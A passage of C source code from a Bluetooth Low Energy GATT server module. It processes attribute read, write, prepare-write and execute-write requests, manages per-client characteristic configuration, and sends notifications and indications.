attReadBlobRsp_t* pRsp = &rsp.readBlobRsp; // Read part attribute value. If the attribute value is longer than // (Value Offset + ATT_MTU - 1) then (ATT_MTU - 1) octets from Value // Offset shall be included in this response. status = GATTServApp_ReadAttr( pMsg->connHandle, pAttr, service, pRsp->value, &pRsp->len, pReq->offset, (((gAttMtuSize[pMsg->connHandle]))-1) ); if ( status == SUCCESS ) { // Send a response back VOID ATT_ReadBlobRsp( pMsg->connHandle, pRsp ); } } else { status = ATT_ERR_INVALID_HANDLE; } if ( status != SUCCESS ) { *pErrHandle = pReq->handle; } return ( status ); } /********************************************************************* @fn gattServApp_ProcessReadMultiReq @brief Process Read Multiple Request. @param pMsg - pointer to received message @param pErrHandle - attribute handle that generates an error @return Success or Failure */ static bStatus_t gattServApp_ProcessReadMultiReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ) { attReadMultiReq_t* pReq = &pMsg->msg.readMultiReq; attReadMultiRsp_t* pRsp = &rsp.readMultiRsp; uint8 status = SUCCESS; pRsp->len = 0; for ( uint8 i = 0; ( i < pReq->numHandles ) && ( pRsp->len < (((gAttMtuSize[pMsg->connHandle]))-1) ); i++ ) { gattAttribute_t* pAttr; uint16 service; pAttr = GATT_FindHandle( pReq->handle[i], &service ); if ( pAttr == NULL ) { // Should never get here! status = ATT_ERR_INVALID_HANDLE; // The handle of the first attribute causing the error *pErrHandle = pReq->handle[i]; break; } // If the Set Of Values parameter is longer than (ATT_MTU - 1) then only // the first (ATT_MTU - 1) octets shall be included in this response. status = GATTServApp_ReadAttr( pMsg->connHandle, pAttr, service, attrValue, &attrLen, 0, (((gAttMtuSize[pMsg->connHandle]))-1) ); if ( status != SUCCESS ) { // The handle of the first attribute causing the error *pErrHandle = pReq->handle[i]; break; } // Make sure there's enough room in the response for this attribute value if ( pRsp->len + attrLen > (((gAttMtuSize[pMsg->connHandle]))-1) ) { attrLen = (((gAttMtuSize[pMsg->connHandle]))-1) - pRsp->len; } // Append this value to the end of the response VOID osal_memcpy( &(pRsp->values[pRsp->len]), attrValue, attrLen ); pRsp->len += attrLen; } if ( status == SUCCESS ) { // Send a response back VOID ATT_ReadMultiRsp( pMsg->connHandle, pRsp ); } return ( status ); } /********************************************************************* @fn gattServApp_ProcessReadByGrpTypeReq @brief Process Read By Group Type Request. @param pMsg - pointer to received message @param pErrHandle - attribute handle that generates an error @return Success or Failure */ static bStatus_t gattServApp_ProcessReadByGrpTypeReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ) { attReadByGrpTypeReq_t* pReq = &pMsg->msg.readByGrpTypeReq; attReadByGrpTypeRsp_t* pRsp = &rsp.readByGrpTypeRsp; uint16 service; gattAttribute_t* pAttr; uint16 dataLen = 0; uint8 status = SUCCESS; // Only the attributes with attribute handles between and including the // Starting Handle and the Ending Handle with the attribute type that is // the same as the Attribute Type given will be returned. // All attribute types are effectively compared as 128-bit UUIDs, // even if a 16-bit UUID is provided in this request or defined // for an attribute. pAttr = GATT_FindHandleUUID( pReq->startHandle, pReq->endHandle, pReq->type.uuid, pReq->type.len, &service ); while ( pAttr != NULL ) { uint16 endGrpHandle; // The service, include and characteristic declarations are readable and // require no authentication or authorization, therefore insufficient // authentication or read not permitted errors shall not occur. status = GATT_VerifyReadPermissions( pMsg->connHandle, pAttr->permissions ); if ( status != SUCCESS ) { *pErrHandle = pAttr->handle; break; } // Read the attribute value. If the attribute value is longer than // (ATT_MTU - 6) or 251 octets, whichever is smaller, then the first // (ATT_MTU - 6) or 251 octets shall be included in this response. status = GATTServApp_ReadAttr( pMsg->connHandle, pAttr, service, attrValue, &attrLen, 0, (((gAttMtuSize[pMsg->connHandle]))-6) ); if ( status != SUCCESS ) { // Cannot read the attribute value *pErrHandle = pAttr->handle; break; } // See if this is the first attribute found if ( dataLen == 0 ) { // Use the length of the first attribute value for the length field pRsp->len = 2 + 2 + attrLen; } else { // If the attributes have attribute values that have the same length // then these attributes can all be read in a single request. if ( pRsp->len != 2 + 2 + attrLen ) { break; // We're done here } // Make sure there's enough room for this attribute handle, end group handle and value if ( dataLen + attrLen > (((gAttMtuSize[pMsg->connHandle]))-6) ) { break; // We're done here } } // Add Attribute Handle to the response pRsp->dataList[dataLen++] = LO_UINT16( pAttr->handle ); pRsp->dataList[dataLen++] = HI_UINT16( pAttr->handle ); // Try to find the next attribute pAttr = GATT_FindNextAttr( pAttr, pReq->endHandle, service, &endGrpHandle ); // Add End Group Handle to the response if ( pAttr != NULL ) { // The End Group Handle is the handle of the last attribute within the // service definition pRsp->dataList[dataLen++] = LO_UINT16( endGrpHandle ); pRsp->dataList[dataLen++] = HI_UINT16( endGrpHandle ); } else { // The ending handle of the last service can be 0xFFFF pRsp->dataList[dataLen++] = LO_UINT16( GATT_MAX_HANDLE ); pRsp->dataList[dataLen++] = HI_UINT16( GATT_MAX_HANDLE ); } // Add Attribute Value to the response VOID osal_memcpy( &(pRsp->dataList[dataLen]), attrValue, attrLen ); dataLen += attrLen; } // while // See what to respond if ( dataLen > 0 ) { // Set the number of attribute handle, end group handle and value sets found pRsp->numGrps = dataLen / pRsp->len; // Send a response back VOID ATT_ReadByGrpTypeRsp( pMsg->connHandle, pRsp ); return ( SUCCESS ); } if ( status == SUCCESS ) { // No grouping attribute found -- dataLen must be 0 status = ATT_ERR_ATTR_NOT_FOUND; } *pErrHandle = pReq->startHandle; return ( status ); } /********************************************************************* @fn gattServApp_ProcessWriteReq @brief Process Write Request or Command. @param pMsg - pointer to received message @param pErrHandle - attribute handle that generates an error @return Success or Failure */ static bStatus_t gattServApp_ProcessWriteReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ) { attWriteReq_t* pReq = &(pMsg->msg.writeReq); gattAttribute_t* pAttr; uint16 service; uint8 status = SUCCESS; // No Error Response or Write Response shall be sent in response to Write // Command. If the server cannot write this attribute for any reason the // command shall be ignored. pAttr = GATT_FindHandle( pReq->handle, &service ); if ( pAttr != NULL ) { // Authorization is handled by the application/profile if ( gattPermitAuthorWrite( pAttr->permissions ) ) { // Use Service's authorization callback to authorize the request pfnGATTAuthorizeAttrCB_t pfnCB = gattServApp_FindAuthorizeAttrCB( service ); if ( pfnCB != NULL ) { status = (*pfnCB)( pMsg->connHandle, pAttr, ATT_WRITE_REQ ); } else { status = ATT_ERR_UNLIKELY; } } // If everything is fine then try to write the new value if ( status == SUCCESS ) { // Use Service's write callback to write the request status = GATTServApp_WriteAttr( pMsg->connHandle, pReq->handle, pReq->value, pReq->len, 0 ); if ( ( status == SUCCESS ) && ( pReq->cmd == FALSE ) ) { // Send a response back //VOID ATT_WriteRsp( pMsg->connHandle ); uint8 st=ATT_WriteRsp( pMsg->connHandle ); // if(st) // { // AT_LOG("[ATT_RSP ERR] %x %x\n",st,l2capSegmentPkt.fragment); // } } } } else { status = ATT_ERR_INVALID_HANDLE; } if ( status != SUCCESS ) { *pErrHandle = pReq->handle; } return ( pReq->cmd ? SUCCESS : status ); } /********************************************************************* @fn gattServApp_ProcessPrepareWriteReq @brief Process Prepare Write Request. @param pMsg - pointer to received message @param pErrHandle - attribute handle that generates an error @return Success or Failure */ static bStatus_t gattServApp_ProcessPrepareWriteReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ) { attPrepareWriteReq_t* pReq = &pMsg->msg.prepareWriteReq; gattAttribute_t* pAttr; uint16 service; uint8 status = SUCCESS; pAttr = GATT_FindHandle( pReq->handle, &service ); if ( pAttr != NULL ) { // Authorization is handled by the application/profile if ( gattPermitAuthorWrite( pAttr->permissions ) ) { // Use Service's authorization callback to authorize the request pfnGATTAuthorizeAttrCB_t pfnCB = gattServApp_FindAuthorizeAttrCB( service ); if ( pfnCB != NULL ) { status = (*pfnCB)( pMsg->connHandle, pAttr, ATT_WRITE_REQ ); } else { status = ATT_ERR_UNLIKELY; } } if ( status == SUCCESS ) { #if defined ( TESTMODES ) if ( paramValue == GATT_TESTMODE_CORRUPT_PW_DATA ) { pReq->value[0] = ~(pReq->value[0]); } #endif // Enqueue the request for now status = gattServApp_EnqueuePrepareWriteReq( pMsg->connHandle, pReq ); if ( status == SUCCESS ) { //LOG("pre off[%d] len[%d]\n", pReq->offset, pReq->len); // Send a response back VOID ATT_PrepareWriteRsp( pMsg->connHandle, (attPrepareWriteRsp_t*)pReq ); } } } else { status = ATT_ERR_INVALID_HANDLE; } if ( status != SUCCESS ) { *pErrHandle = pReq->handle; } return ( status ); } /********************************************************************* @fn gattServApp_ProcessExecuteWriteReq @brief Process Execute Write Request. @param pMsg - pointer to received message @param pErrHandle - attribute handle that generates an error @return Success or Failure */ static bStatus_t gattServApp_ProcessExecuteWriteReq( gattMsgEvent_t* pMsg, uint16* pErrHandle ) { attExecuteWriteReq_t* pReq = &pMsg->msg.executeWriteReq; prepareWrites_t* pQueue; uint8 status = SUCCESS; // See if this client has a prepare write queue pQueue = gattServApp_FindPrepareWriteQ( pMsg->connHandle ); if ( pQueue != NULL ) { for ( uint8 i = 0; i < maxNumPrepareWrites; i++ ) { attPrepareWriteReq_t* pWriteReq = &(pQueue->pPrepareWriteQ[i]); // See if there're any prepared write requests in the queue if ( pWriteReq->handle == GATT_INVALID_HANDLE ) { break; // We're done } // Execute the request if ( pReq->flags == ATT_WRITE_PREPARED_VALUES ) { status = GATTServApp_WriteAttr( pMsg->connHandle, pWriteReq->handle, pWriteReq->value, pWriteReq->len, pWriteReq->offset ); // If the prepare write requests can not be written, the queue shall // be cleared and then an Error Response shall be sent with a high // layer defined error code. if ( status != SUCCESS ) { // Cancel the remaining prepared writes pReq->flags = ATT_CANCEL_PREPARED_WRITES; // The Attribute Handle in Error shall be set to the attribute handle // of the attribute from the prepare write queue that caused this // application error *pErrHandle = pWriteReq->handle; } } else // ATT_CANCEL_PREPARED_WRITES { // Cancel all prepared writes - just ignore the request } // Clear the queue item VOID osal_memset( pWriteReq, 0, sizeof( attPrepareWriteRsp_t ) ); // Mark this item as empty pWriteReq->handle = GATT_INVALID_HANDLE; } // for loop // Mark this queue as empty pQueue->connHandle = INVALID_CONNHANDLE; } // Send a response back if ( status == SUCCESS ) { VOID ATT_ExecuteWriteRsp( pMsg->connHandle ); } return ( status ); } /********************************************************************* @fn gattServApp_EnqueuePrepareWriteReq @brief Enqueue Prepare Write Request. @param connHandle - connection packet was received on @param pReq - pointer to request @return Success or Failure */ static bStatus_t gattServApp_EnqueuePrepareWriteReq( uint16 connHandle, attPrepareWriteReq_t* pReq ) { prepareWrites_t* pQueue; // First see if there's queue already assocaited with this client pQueue = gattServApp_FindPrepareWriteQ( connHandle ); if ( pQueue == NULL ) { // Find a queue for this client pQueue = gattServApp_FindPrepareWriteQ( INVALID_CONNHANDLE ); if ( pQueue != NULL ) { pQueue->connHandle = connHandle; } } // If a queue is found for this client then enqueue the request if ( pQueue != NULL ) { for ( uint8 i = 0; i < maxNumPrepareWrites; i++ ) { if ( pQueue->pPrepareWriteQ[i].handle == GATT_INVALID_HANDLE ) { // Store the request here VOID osal_memcpy( &(pQueue->pPrepareWriteQ[i]), pReq, sizeof ( attPrepareWriteReq_t ) ); //LOG("enq off[%d]len[%d]\n", pReq->offset, pReq->len); return ( SUCCESS ); } } } return ( ATT_ERR_PREPARE_QUEUE_FULL ); } /********************************************************************* @fn gattServApp_FindPrepareWriteQ @brief Find client's queue. @param connHandle - connection used by client @return Pointer to queue. NULL, otherwise. */ static prepareWrites_t* gattServApp_FindPrepareWriteQ( uint16 connHandle ) { // First see if this client has already a queue for ( uint8 i = 0; i < MAX_NUM_LL_CONN; i++ ) { if ( prepareWritesTbl[i].connHandle == connHandle ) { // Queue found return ( &(prepareWritesTbl[i]) ); } } return ( (prepareWrites_t*)NULL ); } /********************************************************************* @fn gattServApp_PrepareWriteQInUse @brief Check to see if the prepare write queue is in use. @param void @return TRUE if queue in use. FALSE, otherwise. */ static uint8 gattServApp_PrepareWriteQInUse( void ) { // See if any prepare write queue is in use for ( uint8 i = 0; i < MAX_NUM_LL_CONN; i++ ) { if ( prepareWritesTbl[i].connHandle != INVALID_CONNHANDLE ) { for ( uint8 j = 0; j < maxNumPrepareWrites; j++ ) { if ( prepareWritesTbl[i].pPrepareWriteQ[j].handle != GATT_INVALID_HANDLE ) { // Queue item is in use return ( TRUE ); } } // for } } // for return ( FALSE ); } /********************************************************************* @fn gattServApp_FindCharCfgItem @brief Find the characteristic configuration for a given client. Uses the connection handle to search the charactersitic configuration table of a client. @param connHandle - connection handle (0xFFFF for empty entry) @param charCfgTbl - characteristic configuration table. @return pointer to the found item. NULL, otherwise. */ static gattCharCfg_t* gattServApp_FindCharCfgItem( uint16 connHandle, gattCharCfg_t* charCfgTbl ) { for ( uint8 i = 0; i < GATT_MAX_NUM_CONN; i++ ) { if ( charCfgTbl[i].connHandle == connHandle ) { // Entry found return ( &(charCfgTbl[i]) ); } } return ( (gattCharCfg_t*)NULL ); } /********************************************************************* @fn gattServApp_FindReadAttrCB @brief Find the Read Attribute CB function pointer for a given service. @param handle - service attribute handle @return pointer to the found CB. NULL, otherwise. */ static pfnGATTReadAttrCB_t gattServApp_FindReadAttrCB( uint16 handle ) { CONST gattServiceCBs_t* pCBs = gattServApp_FindServiceCBs( handle ); return ( ( pCBs == NULL ) ? NULL : pCBs->pfnReadAttrCB ); } /********************************************************************* @fn gattServApp_FindWriteAttrCB @brief Find the Write CB Attribute function pointer for a given service. @param handle - service attribute handle @return pointer to the found CB. NULL, otherwise. */ static pfnGATTWriteAttrCB_t gattServApp_FindWriteAttrCB( uint16 handle ) { CONST gattServiceCBs_t* pCBs = gattServApp_FindServiceCBs( handle ); return ( ( pCBs == NULL ) ? NULL : pCBs->pfnWriteAttrCB ); } /********************************************************************* @fn gattServApp_FindAuthorizeAttrCB @brief Find the Authorize Attribute CB function pointer for a given service. @param handle - service attribute handle @return pointer to the found CB. NULL, otherwise. */ static pfnGATTAuthorizeAttrCB_t gattServApp_FindAuthorizeAttrCB( uint16 handle ) { CONST gattServiceCBs_t* pCBs = gattServApp_FindServiceCBs( handle ); return ( ( pCBs == NULL ) ? NULL : pCBs->pfnAuthorizeAttrCB ); } /********************************************************************* @fn gattServApp_ValidateWriteAttrCB @brief Validate and/or Write attribute data @param connHandle - connection message was received on @param pAttr - pointer to attribute @param pValue - pointer to data to be written @param len - length of data @param offset - offset of the first octet to be written @return Success or Failure */ static bStatus_t gattServApp_WriteAttrCB( uint16 connHandle, gattAttribute_t* pAttr, uint8* pValue, uint16 len, uint16 offset ) { bStatus_t status = SUCCESS; if ( pAttr->type.len == ATT_BT_UUID_SIZE ) { // 16-bit UUID uint16 uuid = BUILD_UINT16( pAttr->type.uuid[0], pAttr->type.uuid[1]); switch ( uuid ) { case GATT_CLIENT_CHAR_CFG_UUID: status = GATTServApp_ProcessCCCWriteReq( connHandle, pAttr, pValue, len, offset, GATT_CLIENT_CFG_INDICATE ); break; default: // Should never get here! status = ATT_ERR_INVALID_HANDLE; } } else { // 128-bit UUID status = ATT_ERR_INVALID_HANDLE; } return ( status ); } /********************************************************************* @fn GATTServApp_ReadAttr @brief Read an attribute. If the format of the attribute value is unknown to GATT Server, use the callback function provided by the Service. @param connHandle - connection message was received on @param pAttr - pointer to attribute @param service - handle of owner service @param pValue - pointer to data to be read @param pLen - length of data to be read @param offset - offset of the first octet to be read @param maxLen - maximum length of data to be read @return Success or Failure */ uint8 GATTServApp_ReadAttr( uint16 connHandle, gattAttribute_t* pAttr, uint16 service, uint8* pValue, uint16* pLen, uint16 offset, uint8 maxLen ) { uint8 useCB = FALSE; bStatus_t status = SUCCESS; // Authorization is handled by the application/profile if ( gattPermitAuthorRead( pAttr->permissions ) ) { // Use Service's authorization callback to authorize the request pfnGATTAuthorizeAttrCB_t pfnCB = gattServApp_FindAuthorizeAttrCB( service ); if ( pfnCB != NULL ) { status = (*pfnCB)( connHandle, pAttr, ATT_READ_REQ ); } else { status = ATT_ERR_UNLIKELY; } if ( status != SUCCESS ) { // Read operation failed! return ( status ); } } // Check the UUID length if ( pAttr->type.len == ATT_BT_UUID_SIZE ) { // 16-bit UUID uint16 uuid = BUILD_UINT16( pAttr->type.uuid[0], pAttr->type.uuid[1]); switch ( uuid ) { case GATT_PRIMARY_SERVICE_UUID: case GATT_SECONDARY_SERVICE_UUID: // Make sure it's not a blob operation if ( offset == 0 ) { gattAttrType_t* pType = (gattAttrType_t*)(pAttr->pValue); *pLen = pType->len; VOID osal_memcpy( pValue, pType->uuid, pType->len ); } else { status = ATT_ERR_ATTR_NOT_LONG; } break; case GATT_CHARACTER_UUID: // Make sure it's not a blob operation if ( offset == 0 ) { gattAttribute_t* pCharValue; // The Attribute Value of a Characteristic Declaration includes the // Characteristic Properties, Characteristic Value Attribute Handle // and UUID. *pLen = 1; pValue[0] = *pAttr->pValue; // Properties // The Characteristic Value Attribute exists immediately following // the Characteristic Declaration. pCharValue = GATT_FindHandle( pAttr->handle+1, NULL ); if ( pCharValue != NULL ) { // It can be a 128-bit UUID *pLen += (2 + pCharValue->type.len); // Attribute Handle pValue[1] = LO_UINT16( pCharValue->handle ); pValue[2] = HI_UINT16( pCharValue->handle ); // Attribute UUID VOID osal_memcpy( &(pValue[3]), pCharValue->type.uuid, pCharValue->type.len ); } else { // Should never get here! *pLen += (2 + ATT_BT_UUID_SIZE); // Set both Attribute Handle and UUID to 0 VOID osal_memset( &(pValue[1]), 0, (2 + ATT_BT_UUID_SIZE) ); } } else { status = ATT_ERR_ATTR_NOT_LONG; } break; case GATT_INCLUDE_UUID: // Make sure it's not a blob operation if ( offset == 0 ) { uint16 servHandle; uint16 endGrpHandle; gattAttribute_t* pIncluded; uint16 handle = *((uint16*)(pAttr->pValue)); // The Attribute Value of an Include Declaration is set the // included service Attribute Handle, the End Group Handle, // and the service UUID. The Service UUID shall only be present // when the UUID is a 16-bit Bluetooth UUID. *pLen = 4; pValue[0] = LO_UINT16( handle ); pValue[1] = HI_UINT16( handle ); // Find the included service attribute record pIncluded = GATT_FindHandle( handle, &servHandle ); if ( pIncluded != NULL ) { gattAttrType_t* pServiceUUID = (gattAttrType_t*)pIncluded->pValue; // Find out the End Group handle if ( ( GATT_FindNextAttr( pIncluded, GATT_MAX_HANDLE, servHandle, &endGrpHandle ) == NULL ) && ( !gattSecondaryServiceType( pIncluded->type ) ) ) { // The ending handle of the last service can be 0xFFFF endGrpHandle = GATT_MAX_HANDLE; } // Include only 16-bit Service UUID if ( pServiceUUID->len == ATT_BT_UUID_SIZE ) { VOID osal_memcpy( &(pValue[4]), pServiceUUID->uuid, ATT_BT_UUID_SIZE ); *pLen += ATT_BT_UUID_SIZE; } } else { // Should never get here! endGrpHandle = handle; } // End Group Handle pValue[2] = LO_UINT16( endGrpHandle ); pValue[3] = HI_UINT16( endGrpHandle ); } else { status = ATT_ERR_ATTR_NOT_LONG; } break; case GATT_CLIENT_CHAR_CFG_UUID: // Make sure it's not a blob operation if ( offset == 0 ) { uint16 value = GATTServApp_ReadCharCfg( connHandle, (gattCharCfg_t*)(pAttr->pValue) ); *pLen = 2; pValue[0] = LO_UINT16( value ); pValue[1] = HI_UINT16( value ); } else { status = ATT_ERR_ATTR_NOT_LONG; } break; case GATT_CHAR_EXT_PROPS_UUID: case GATT_SERV_CHAR_CFG_UUID: // Make sure it's not a blob operation if ( offset == 0 ) { uint16 value = *((uint16*)(pAttr->pValue)); *pLen = 2; pValue[0] = LO_UINT16( value ); pValue[1] = HI_UINT16( value ); } else { status = ATT_ERR_ATTR_NOT_LONG; } break; case GATT_CHAR_USER_DESC_UUID: { uint8 len = osal_strlen( (char*)(pAttr->pValue) ); // Could be a long attribute // If the value offset of the Read Blob Request is greater than the // length of the attribute value, an Error Response shall be sent with // the error code Invalid Offset. if ( offset <= len ) { // If the value offset is equal than the length of the attribute // value, then the length of the part attribute value shall be zero. if ( offset == len ) { len = 0; } else { // If the attribute value is longer than (Value Offset + maxLen) // then maxLen octets from Value Offset shall be included in // this response. if ( len > ( offset + maxLen ) ) { len = maxLen; } else { len -= offset; } } *pLen = len; VOID osal_memcpy( pValue, &(pAttr->pValue[offset]), len ); } else { status = ATT_ERR_INVALID_OFFSET; } } break; case GATT_CHAR_FORMAT_UUID: // Make sure it's not a blob operation if ( offset == 0 ) { gattCharFormat_t* pFormat = (gattCharFormat_t*)(pAttr->pValue); *pLen = 7; pValue[0] = pFormat->format; pValue[1] = pFormat->exponent; pValue[2] = LO_UINT16( pFormat->unit ); pValue[3] = HI_UINT16( pFormat->unit ); pValue[4] = pFormat->nameSpace; pValue[5] = LO_UINT16( pFormat->desc ); pValue[6] = HI_UINT16( pFormat->desc ); } else { status = ATT_ERR_ATTR_NOT_LONG; } break; default: useCB = TRUE; break; } } else { useCB = TRUE; } if ( useCB == TRUE ) { // Use Service's read callback to process the request pfnGATTReadAttrCB_t pfnCB = gattServApp_FindReadAttrCB( service ); if ( pfnCB != NULL ) { // Read the attribute value status = (*pfnCB)( connHandle, pAttr, pValue, pLen, offset, maxLen ); } else { status = ATT_ERR_UNLIKELY; } } return ( status ); } /********************************************************************* @fn GATTServApp_WriteAttr @brief Write attribute data @param connHandle - connection message was received on @param handle - attribute handle @param pValue - pointer to data to be written @param len - length of data @param offset - offset of the first octet to be written @return Success or Failure */ uint8 GATTServApp_WriteAttr( uint16 connHandle, uint16 handle, uint8* pValue, uint16 len, uint16 offset ) { uint16 service; gattAttribute_t* pAttr; bStatus_t status; // Find the owner of the attribute pAttr = GATT_FindHandle( handle, &service ); if ( pAttr != NULL ) { // Find out the owner's callback functions pfnGATTWriteAttrCB_t pfnCB = gattServApp_FindWriteAttrCB( service ); if ( pfnCB != NULL ) { // Try to write the new value status = (*pfnCB)( connHandle, pAttr, pValue, len, offset ); } else { status = ATT_ERR_UNLIKELY; } } else { status = ATT_ERR_INVALID_HANDLE; } return ( status ); } /********************************************************************* @fn GATTServApp_SetParamValue @brief Set a GATT Server Application Parameter value. Use this function to change the default GATT parameter values. @param value - new param value @return void */ void GATTServApp_SetParamValue( uint16 value ) { #if defined ( TESTMODES ) paramValue = value; #else VOID value; #endif } /********************************************************************* @fn GATTServApp_GetParamValue @brief Get a GATT Server Application Parameter value. @param none @return GATT Parameter value */ uint16 GATTServApp_GetParamValue( void ) { #if defined ( TESTMODES ) return ( paramValue ); #else return ( 0 ); #endif } /********************************************************************* @fn GATTServApp_UpdateCharCfg @brief Update the Client Characteristic Configuration for a given Client. Note: This API should only be called from the Bond Manager. @param connHandle - connection handle. @param attrHandle - attribute handle. @param value - characteristic configuration value (from NV). @return Success or Failure */ bStatus_t GATTServApp_UpdateCharCfg( uint16 connHandle, uint16 attrHandle, uint16 value ) { uint8 buf[2]; buf[0] = LO_UINT16( value ); buf[1] = HI_UINT16( value ); return ( GATTServApp_WriteAttr( connHandle, attrHandle, buf, 2, 0 ) ); } /********************************************************************* @fn GATTServApp_SendServiceChangedInd @brief Send out a Service Changed Indication. @param connHandle - connection to use @param taskId - task to be notified of confirmation @return SUCCESS: Indication was sent successfully. FAILURE: Service Changed attribute not found. INVALIDPARAMETER: Invalid connection handle or request field. MSG_BUFFER_NOT_AVAIL: No HCI buffer is available. bleNotConnected: Connection is down. blePending: A confirmation is pending with this client. */ bStatus_t GATTServApp_SendServiceChangedInd( uint16 connHandle, uint8 taskId ) { uint16 value = GATTServApp_ReadCharCfg( connHandle, indCharCfg ); if ( value & GATT_CLIENT_CFG_INDICATE ) { return ( GATT_ServiceChangedInd( connHandle, taskId ) ); } return ( FAILURE ); } /********************************************************************* @fn GATTServApp_InitCharCfg @brief Initialize the client characteristic configuration table. Note: Each client has its own instantiation of the Client Characteristic Configuration. Reads/Writes of the Client Characteristic Configuration only only affect the configuration of that client. @param connHandle - connection handle (0xFFFF for all connections). @param charCfgTbl - client characteristic configuration table. @return none */ void GATTServApp_InitCharCfg( uint16 connHandle, gattCharCfg_t* charCfgTbl ) { // Initialize Client Characteristic Configuration attributes if ( connHandle == INVALID_CONNHANDLE ) { for ( uint8 i = 0; i < GATT_MAX_NUM_CONN; i++ ) { charCfgTbl[i].connHandle = INVALID_CONNHANDLE; charCfgTbl[i].value = GATT_CFG_NO_OPERATION; } } else { gattCharCfg_t* pItem = gattServApp_FindCharCfgItem( connHandle, charCfgTbl ); if ( pItem != NULL ) { pItem->connHandle = INVALID_CONNHANDLE; pItem->value = GATT_CFG_NO_OPERATION; } } } /********************************************************************* @fn GATTServApp_ReadCharCfg @brief Read the client characteristic configuration for a given client. Note: Each client has its own instantiation of the Client Characteristic Configuration. Reads of the Client Characteristic Configuration only shows the configuration for that client. @param connHandle - connection handle. @param charCfgTbl - client characteristic configuration table. @return attribute value */ uint16 GATTServApp_ReadCharCfg( uint16 connHandle, gattCharCfg_t* charCfgTbl ) { gattCharCfg_t* pItem; pItem = gattServApp_FindCharCfgItem( connHandle, charCfgTbl ); if ( pItem != NULL ) { return ( (uint16)(pItem->value) ); } return ( (uint16)GATT_CFG_NO_OPERATION ); } /********************************************************************* @fn GATTServApp_WriteCharCfg @brief Write the client characteristic configuration for a given client. Note: Each client has its own instantiation of the Client Characteristic Configuration. Writes of the Client Characteristic Configuration only only affect the configuration of that client. @param connHandle - connection handle. @param charCfgTbl - client characteristic configuration table. @param value - attribute new value. @return Success or Failure */ uint8 GATTServApp_WriteCharCfg( uint16 connHandle, gattCharCfg_t* charCfgTbl, uint16 value ) { gattCharCfg_t* pItem; pItem = gattServApp_FindCharCfgItem( connHandle, charCfgTbl ); if ( pItem == NULL ) { pItem = gattServApp_FindCharCfgItem( INVALID_CONNHANDLE, charCfgTbl ); if ( pItem == NULL ) { return ( ATT_ERR_INSUFFICIENT_RESOURCES ); } pItem->connHandle = connHandle; } // Write the new value for this client pItem->value = value; return ( SUCCESS ); } /********************************************************************* @fn GATTServApp_ProcessCCCWriteReq @brief Process the client characteristic configuration write request for a given client. @param connHandle - connection message was received on @param pAttr - pointer to attribute @param pValue - pointer to data to be written @param len - length of data @param offset - offset of the first octet to be written @param validCfg - valid configuration @return Success or Failure */ bStatus_t GATTServApp_ProcessCCCWriteReq( uint16 connHandle, gattAttribute_t* pAttr, uint8* pValue, uint8 len, uint16 offset, uint16 validCfg ) { bStatus_t status = SUCCESS; // Validate the value if ( offset == 0 ) { if ( len == 2 ) { uint16 value = BUILD_UINT16( pValue[0], pValue[1] ); // Validate characteristic configuration bit field if ( ( value & ~validCfg ) == 0 ) // indicate and/or notify { // Write the value if it's changed if ( GATTServApp_ReadCharCfg( connHandle, (gattCharCfg_t*)(pAttr->pValue) ) != value ) { status = GATTServApp_WriteCharCfg( connHandle, (gattCharCfg_t*)(pAttr->pValue), value ); if ( status == SUCCESS ) { // Notify the application GATTServApp_SendCCCUpdatedEvent( connHandle, pAttr->handle, value ); } } } else { status = ATT_ERR_INVALID_VALUE; } } else { status = ATT_ERR_INVALID_VALUE_SIZE; } } else { status = ATT_ERR_ATTR_NOT_LONG; } return ( status ); } /********************************************************************* @fn GATTServApp_ProcessCharCfg @brief Process Client Charateristic Configuration change. @param charCfgTbl - characteristic configuration table. @param pValue - pointer to attribute value. @param authenticated - whether an authenticated link is required. @param attrTbl - attribute table. @param numAttrs - number of attributes in attribute table. @param taskId - task to be notified of confirmation. @return Success or Failure */ #include "log.h" bStatus_t GATTServApp_ProcessCharCfg( gattCharCfg_t* charCfgTbl, uint8* pValue, uint8 authenticated, gattAttribute_t* attrTbl, uint16 numAttrs, uint8 taskId ) { bStatus_t status = SUCCESS; // for ( uint8 i = 0; i < GATT_MAX_NUM_CONN; i++ ) { // gattCharCfg_t* pItem = &(charCfgTbl[i]); gattCharCfg_t* pItem = charCfgTbl; if ( ( pItem->connHandle != INVALID_CONNHANDLE ) && ( pItem->value != GATT_CFG_NO_OPERATION ) ) { gattAttribute_t* pAttr; // Find the characteristic value attribute pAttr = GATTServApp_FindAttr( attrTbl, numAttrs, pValue ); if ( pAttr != NULL ) { attHandleValueNoti_t noti; // If the attribute value is longer than (ATT_MTU - 3) octets, then // only the first (ATT_MTU - 3) octets of this attributes value can // be sent in a notification. if ( GATTServApp_ReadAttr( pItem->connHandle, pAttr, GATT_SERVICE_HANDLE( attrTbl ), noti.value, &noti.len, 0, (((gAttMtuSize[pItem->connHandle]))-3) ) == SUCCESS ) { noti.handle = pAttr->handle; if ( pItem->value & GATT_CLIENT_CFG_NOTIFY ) { status |= GATT_Notification( pItem->connHandle, &noti, authenticated ); } if ( pItem->value & GATT_CLIENT_CFG_INDICATE ) { status |= GATT_Indication( pItem->connHandle, (attHandleValueInd_t*)&noti, authenticated, taskId ); } } } } } // for return ( status ); } /********************************************************************* @fn gattServApp_HandleConnStatusCB @brief GATT Server Application link status change handler function. @param connHandle - connection handle @param changeType - type of change @return none */ static void gattServApp_HandleConnStatusCB( uint16 connHandle, uint8 changeType ) { // Check to see if the connection has dropped if ( ( changeType == LINKDB_STATUS_UPDATE_REMOVED ) || ( ( changeType == LINKDB_STATUS_UPDATE_STATEFLAGS ) && ( !linkDB_Up( connHandle ) ) ) ) { prepareWrites_t* pQueue = gattServApp_FindPrepareWriteQ( connHandle ); // See if this client has a prepare write queue if ( pQueue != NULL ) { for ( uint8 i = 0; i < maxNumPrepareWrites; i++ ) { attPrepareWriteReq_t* pWriteReq = &(pQueue->pPrepareWriteQ[i]); // See if there're any prepared write requests in the queue if ( pWriteReq->handle == GATT_INVALID_HANDLE ) { break; } // Clear the queue item VOID osal_memset( pWriteReq, 0, sizeof( attPrepareWriteRsp_t ) ); } // for loop // Mark this queue as empty pQueue->connHandle = INVALID_CONNHANDLE; } // Reset Client Char Config when connection drops GATTServApp_InitCharCfg( connHandle, indCharCfg ); } } /********************************************************************* @fn GATTServApp_SendCCCUpdatedEvent @brief Build and send the GATT_CLIENT_CHAR_CFG_UPDATED_EVENT to the app. 